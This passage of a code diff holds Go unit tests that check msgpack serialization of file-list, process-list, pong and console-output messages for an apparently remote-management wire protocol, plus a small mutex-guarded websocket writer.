t.Errorf("Name mismatch: got %s, want %s", decoded.Name, entry.Name)
}
if decoded.Size != entry.Size {
t.Errorf("Size mismatch: got %d, want %d", decoded.Size, entry.Size)
}
if decoded.IsDir != entry.IsDir {
t.Errorf("IsDir mismatch: got %v, want %v", decoded.IsDir, entry.IsDir)
}
}
func TestFileListResultMarshaling(t *testing.T) {
result := FileListResult{
Type: "file_list_result",
CommandID: "cmd-456",
Path: "/home/user",
Entries: []FileEntry{
{Name: "file1.txt", Path: "/home/user/file1.txt", IsDir: false, Size: 100, ModTime: 1609459200},
{Name: "dir1", Path: "/home/user/dir1", IsDir: true, Size: 0, ModTime: 1609459200},
},
Error: "",
}
data, err := msgpack.Marshal(result)
if err != nil {
t.Fatalf("Failed to marshal FileListResult: %v", err)
}
var decoded FileListResult
if err := msgpack.Unmarshal(data, &decoded); err != nil {
t.Fatalf("Failed to unmarshal FileListResult: %v", err)
}
if len(decoded.Entries) != len(result.Entries) {
t.Errorf("Entries count mismatch: got %d, want %d", len(decoded.Entries), len(result.Entries))
}
if decoded.Path != result.Path {
t.Errorf("Path mismatch: got %s, want %s", decoded.Path, result.Path)
}
}
func TestProcessInfoMarshaling(t *testing.T) {
proc := ProcessInfo{
PID: 1234,
PPID: 1,
Name: "test.exe",
CPU: 25.5,
Memory: 1048576,
Username: "testuser",
Type: "own",
}
data, err := msgpack.Marshal(proc)
if err != nil {
t.Fatalf("Failed to marshal ProcessInfo: %v", err)
}
var decoded ProcessInfo
if err := msgpack.Unmarshal(data, &decoded); err != nil {
t.Fatalf("Failed to unmarshal ProcessInfo: %v", err)
}
if decoded.PID != proc.PID {
t.Errorf("PID mismatch: got %d, want %d", decoded.PID, proc.PID)
}
if decoded.PPID != proc.PPID {
t.Errorf("PPID mismatch: got %d, want %d", decoded.PPID, proc.PPID)
}
if decoded.Name != proc.Name {
t.Errorf("Name mismatch: got %s, want %s", decoded.Name, proc.Name)
}
if decoded.CPU != proc.CPU {
t.Errorf("CPU mismatch: got %f, want %f", decoded.CPU, proc.CPU)
}
if decoded.Type != proc.Type {
t.Errorf("Type mismatch: got %s, want %s", decoded.Type, proc.Type)
}
}
func TestProcessListResultMarshaling(t *testing.T) {
result := ProcessListResult{
Type: "process_list_result",
CommandID: "cmd-789",
Processes: []ProcessInfo{
{PID: 1, PPID: 0, Name: "init", CPU: 0.1, Memory: 1024, Username: "root", Type: "system"},
{PID: 100, PPID: 1, Name: "service", CPU: 5.0, Memory: 2048, Username: "system", Type: "service"},
},
Error: "",
}
data, err := msgpack.Marshal(result)
if err != nil {
t.Fatalf("Failed to marshal ProcessListResult: %v", err)
}
var decoded ProcessListResult
if err := msgpack.Unmarshal(data, &decoded); err != nil {
t.Fatalf("Failed to unmarshal ProcessListResult: %v", err)
}
if len(decoded.Processes) != len(result.Processes) {
t.Errorf("Processes count mismatch: got %d, want %d", len(decoded.Processes), len(result.Processes))
}
}
func TestWriteMsg(t *testing.T) {
writer := &testWriter{}
ctx := context.Background()
msg := Pong{
Type: "pong",
TS: 1234567890,
}
if err := WriteMsg(ctx, writer, msg); err != nil {
t.Fatalf("WriteMsg failed: %v", err)
}
if len(writer.msgs) != 1 {
t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
}
var decoded Pong
if err := msgpack.Unmarshal(writer.msgs[0], &decoded); err != nil {
t.Fatalf("Failed to unmarshal written message: %v", err)
}
if decoded.TS != msg.TS {
t.Errorf("Written message timestamp mismatch: got %d, want %d", decoded.TS, msg.TS)
}
}
func TestConsoleOutputMarshaling(t *testing.T) {
exitCode := 0
output := ConsoleOutput{
Type: "console_output",
SessionID: "session-123",
Data: []byte("test output"),
ExitCode: &exitCode,
Error: "",
}
data, err := msgpack.Marshal(output)
if err != nil {
t.Fatalf("Failed to marshal ConsoleOutput: %v", err)
}
var decoded ConsoleOutput
if err := msgpack.Unmarshal(data, &decoded); err != nil {
t.Fatalf("Failed to unmarshal ConsoleOutput: %v", err)
}
if decoded.SessionID != output.SessionID {
t.Errorf("SessionID mismatch: got %s, want %s", decoded.SessionID, output.SessionID)
}
if !bytes.Equal(decoded.Data, output.Data) {
t.Errorf("Data mismatch")
}
if decoded.ExitCode == nil || *decoded.ExitCode != *output.ExitCode {
t.Errorf("ExitCode mismatch")
}
}
@@ -0,0 +1,23 @@
package wire
import (
"context"
"sync"
"nhooyr.io/websocket"
)
type SafeWriter struct {
mu sync.Mutex
w Writer
}
func NewSafeWriter(w Writer) *SafeWriter {
return &SafeWriter{w: w}
}
func (s *SafeWriter) Write(ctx context.Context, messageType websocket.MessageType, p []byte) error {
s.mu.Lock()
defer s.mu.Unlock()
return s.w.Write(ctx, messageType, p)
}

Some files were not shown because too many files have changed in this diff Show More